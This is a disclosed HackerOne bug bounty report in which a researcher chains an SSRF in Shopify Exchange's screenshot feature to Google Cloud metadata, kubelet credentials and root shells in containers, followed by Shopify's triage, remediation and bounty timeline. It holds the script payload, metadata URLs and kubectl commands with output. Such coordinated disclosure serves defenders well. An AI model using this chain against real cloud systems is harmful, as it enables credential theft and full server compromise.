Shopify disclosed on HackerOne: SSRF in Exchange leads to ROOT...

Shopify disclosed on HackerOne: SSRF in Exchange leads to ROOT... - André Baptista, HackerOne.

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Content

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580

#341876

SSRF in Exchange leads to ROOT access in all instances

Report

Summary by Shopify

[[image: image]](https://hackerone.com/shopify)

Shopify infrastructure is isolated into subsets of infrastructure. @0xacb reported it was possible to gain root access to any container in one particular subset by exploiting a server side request forgery bug in the screenshotting functionality of Shopify Exchange. Within an hour of receiving the report, we disabled the vulnerable service, began auditing applications in all subsets and remediating across all our infrastructure. The vulnerable subset did not include Shopify core.

After auditing all services, we fixed the bug by deploying a metadata concealment proxy to disable access to metadata information. We also disabled access to internal IPs on all infrastructure subsets. We awarded this $25,000 as a Shopify Core RCE since some applications in this subset do have access to some Shopify core data and systems.

Timeline

[[image: 0xacb]](https://hackerone.com/0xacb)

0xacb

submitted a report to **Shopify**.

April 22, 2018, 11:39pm UTC

The Exploit Chain - How to get root access on all Shopify instances

1 - Access Google Cloud Metadata

- 1: Create a store (partners.shopify.com)
- 2: Edit the template `password.liquid` and add the following content:

Code•228 Bytes

```
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/toke
// iframes don't work here because Google Cloud sets the X-Frame-Options: SAMEORIGIN header.
</script>
```

- 3: Go to https://exchange.shopify.com/create-a-listing and install the Exchange app
- 4: Wait for the store screenshot to appear on the Create Listing page
- 5: Download the PNG and open it using image editing software or convert it to JPEG (Chrome displays a black PNG)

{F289082}

Exploring SSRFs in Google Cloud instances require a special header. However, I found really easy way to "bypass" it while reading the documentation: the `/v1beta1` endpoint is still available, does not require the `Metadata-Flavor: Google` header and still returns the same token.

I tried to leak more data, but the web screenshot software wasn't producing any images for `application/text` responses. However, I found that I could add the parameter `alt=json` to force `application/json` responses. I managed to leak more data, such as an incomplete list of SSH public keys (including email addresses), the project name ( ), the instance name and more:

Code•130 Bytes

```
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>
```

{F289081}

Can I add my SSH key using the leaked token? No

Code•259 Bytes

```
curl -X POST "https://www.googleapis.com/compute/v1/projects/      /setCommonInstanceMetadata" -H "Authorization
```

Code•516 Bytes

```
{
 "error": {
 "errors": [
 {
 "domain": "global",
 "reason": "forbidden",
 "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/                '"
 },
 {
 "domain": "global",
 "reason": "forbidden",
 "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/                '"
 }
 ],
 "code": 403,
 "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/                '"
 }
}
```


I checked the scopes for this token and there was no read/write access to the Compute Engine API:

Code•121 Bytes

```
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=                                "
```

Code•175 Bytes


```
{
 "issued_to": "                ",
 "audience": "       ",
 "scope": "https://www.googleapis.com/auth/cloud-platform",
 "expires_in": 1307,
 "access_type": "offline"
}
```


2 - Dumping kube-env

I created a new store and pulled attributes from this instance recursively: http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Result: {F289455}

Metadata concealment (https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment) is not enabled, so the `kube-env` attribute is available.

Since the image is cropped, I made a new request to: http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json in order to see the rest of the Kubelet certificate and the Kubelet private key.

Result: {F289456}

ca.crt

Code•409 Bytes

```
-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----
```

client.crt

Code•378 Bytes

```
-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----
```

client.pem

Code•608 Bytes

```
-----BEGIN RSA PRIVATE KEY-----

-----END RSA PRIVATE KEY-----
```

MASTER_NAME:

3 - Using Kubelet to execute arbitrary commands

It's possible to list all pods {F289460}:

Code•415 Bytes

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://        get pod

NAMESPACE                NAME                                READY   STATUS        RESTARTS   AGE
                                                             1/1
```

And create new pods as well:

Code•435 Bytes

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://                creat

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://                de

pod "shell-demo" deleted
```

I didn't tried to delete running pods, obviously, I'm not sure if I would be able to delete them with user `          `. However, it's not possible to execute commands in this new pod or any other pod:

Code•332 Bytes

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://                exe

Error from server (Forbidden): pods "shell-demo" is forbidden: User "          " cannot create pods/exec in the namespace
```

The `get secrets` command doesn't work, but it's possible to describe a given pod and the get the secret using its name. That's how I leaked the kubernetes.io service account token using the instance `          ` from the namespace `          `:

Code•1.82 KiB

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://       describe po

Name:
Namespace:
Node:
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:



Annotations:    <none>
Status:         Running
IP:
Controlled By:
Containers:
  default-http-backend:
    Container ID:   docker://
    Image:
    Image ID:       docker-pullable://
    Port:                /TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:     10m
      memory:  20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:       /healthz delay=30s timeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
    Mounts:

Conditions:
  Type          Status
  Initialized   True
  Ready         True
  PodScheduled  True
```

```
Volumes:
                :
  Type:       Secret (a volume populated by a Secret)
  SecretName:
  Optional:   false
QoS Class:      Guaranteed
Node-Selectors:  <none>
Tolerations:    node.kubernetes.io/not-ready:NoExecute for 300s
                node.kubernetes.io/unreachable:NoExecute for 300s
Events:         <none>
```

Code•760 Bytes

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://          get secr

apiVersion: v1
data:
 ca.crt:
 namespace:
 token:                  ==
kind: Secret
metadata:
 annotations:
  kubernetes.io/service-account.name: default
  kubernetes.io/service-account.uid:
 creationTimestamp: 2017-01-23T16:08:19Z
 name:
 namespace:
 resourceVersion: "115481155"
 selfLink: /api/v1/namespaces/              /secrets/
 uid:
type: kubernetes.io/service-account-token
```

And finally, it's possible to use this token to get a shell in any container:

Code•569 Bytes

```
$ kubectl --certificate-authority ca.crt --server https://        --token "        .        .      " exec -it w                -- /bin/bas

Defaulting container name to web.
Use 'kubectl describe pod/w                ' to see all of the containers in this pod.
            :/# id
uid=0(root) gid=0(root) groups=0(root)
          :/# ls
app  boot  dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys   usr
            :/# exit
```

Code•623 Bytes

```
$ kubectl --certificate-authority ca.crt --server https://              --token "        .        .              " exec -it              -

Defaulting container name to web.
Use 'kubectl describe pod/          -n          ' to see all of the containers in this pod.
root@        :/# id
uid=0(root) gid=0(root) groups=0(root)
root@        :/# ls
app  boot  dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys   usr
root@          :/# exit
```

Huge thanks to Luís Maia 0xfad0, for helping me build this

Impact

CRITICAL

The hacker selected the **Server-Side Request Forgery (SSRF)** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

Can internal services be reached bypassing network access control? Yes

What internal services were accessible? Google Cloud Metadata

Security Impact RCE

[[image: Peter Yaworski]](https://hackerone.com/shopify-peteryaworski)

shopify-peteryaworski

changed the status to ****Triaged**.

April 23, 2018, 12:21am UTC

Thanks for your report @0xacb, our engineering team is investigating and we will let you know when we have an update.

[[image: image]](https://hackerone.com/shopify)

Shopify

rewarded 0xacb with a bounty.

April 23, 2018, 1:08pm UTC

We've disabled the vulnerable service last night, thank you again for reporting this. As per our program rules, I'm paying this initial amount on triage, with the rest once the issue has been closed.

[[image: André Baptista]](https://hackerone.com/0xacb)

0xacb

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April 23, 2018, 1:32pm UTC

Thank you for the initial reward :)

I forgot to mention, but I stopped exploring this when I achieved RCE. I'm not sure if I would be able to access other clusters on the project network (10.0.0.0)

[[image: Peter Yaworski]](https://hackerone.com/shopify-peteryaworski)

shopify-peteryaworski

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April 27, 2018, 5:25pm UTC

Hi @0xacb, thanks again for this report and the level of detail you provided, it was extremely helpful. I just wanted to provide a quick update. As you know, we immediately patched on the weekend. We are continuing to implement network changes to prevent the behaviour again should another SSRF vulnerability be discovered in the future. Given the sensitivity around this, we're taking our time to ensure proper mitigations. We're hoping to be able to resolve it soon but will keep you up to date on the progress.

[[image: André Baptista]](https://hackerone.com/0xacb)

0xacb

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April 27, 2018, 7:56pm UTC

Thanks for the update, Peter!

[[image: André Baptista]](https://hackerone.com/0xacb)

0xacb

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May 17, 2018, 3:02pm UTC

Hello @shopify-peteryaworski, Any updates on the progress? Thank you!

[[image: Peter Yaworski]](https://hackerone.com/shopify-peteryaworski)

shopify-peteryaworski

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May 18, 2018, 12:35pm UTC

Hi @0xacb, sorry, we don't have an update. We will let you know when we do.

[[image: Peter Yaworski]](https://hackerone.com/shopify-peteryaworski)

shopify-peteryaworski

closed the report and changed the status to ****Resolved**.

May 23, 2018, 7:03pm UTC

Thanks again for your report @0xacb and your patience. As you know, we patched this immediately. We've finished implementing the network changes necessary to prevent this from occurring again. You should hear back from us shortly regarding the bounty.

On that note, this was a great find @0xacb! Thank you for taking the time to improve the security of Shopify. We greatly appreciate it. We hope to see more reports from you and for others to use this report as an great learning opportunity.

[[image: André Baptista]](https://hackerone.com/0xacb)

0xacb

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May 23, 2018, 8:28pm UTC

Sounds great, @shopify-peteryaworski! It was really a pleasure to work with you :)

[[image: image]](https://hackerone.com/shopify)

Shopify

rewarded 0xacb with a bounty.

May 23, 2018, 8:59pm UTC

Thanks again @0xacb!

francoischagnon

requested to disclose this report.

May 23, 2018, 8:59pm UTC

[[image: André Baptista]](https://hackerone.com/0xacb)

0xacb

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May 23, 2018, 9:07pm UTC

Sure! We can disclose this. Thanks for the huge bounty guys!!

0xacb

agreed to disclose this report.

May 23, 2018, 9:09pm UTC

This report has been disclosed.

May 23, 2018, 9:09pm UTC

[[image: image]](https://hackerone.com/shopify)

Shopify

rewarded 0xacb with **swag**.

May 23, 2018, 9:35pm UTC

We'd also like to award you with some hacker-exclusive Shopify swag

[[image: André Baptista]](https://hackerone.com/0xacb)

0xacb

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May 23, 2018, 9:38pm UTC

Thank you so much :)

shopify-peteryaworski

updated the severity from critical to

critical (10.0)

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June 15, 2018, 5:38pm UTC

shopify-peteryaworski

changed the scope from **your-store.myshopify.com** to **https://exchangemarketplace.com/**.

June 15, 2018, 5:38pm UTC

Recovery notes

Source evidence recovered on 2026-09-14. The earlier source capture (SHA-256 `427c984f6d53d1c4558670efbe15c5470650d6ab72a5691721c4136bd502d1d3`) is no longer available. This publication uses a separately preserved capture of the same document recorded on 2026-09-14 (SHA-256 `3dd87fb5d23e2ea339a514c75494c6add1e7407a0a68f7d739cd1cabf322b1e8`). The complete exposed report and discussion were checked against this capture. Code examples now retain their source line breaks and characters in fenced blocks, and missing section headings were restored where present. The existing technique summary remains applicable. The missing earlier capture remains documented in the archive history.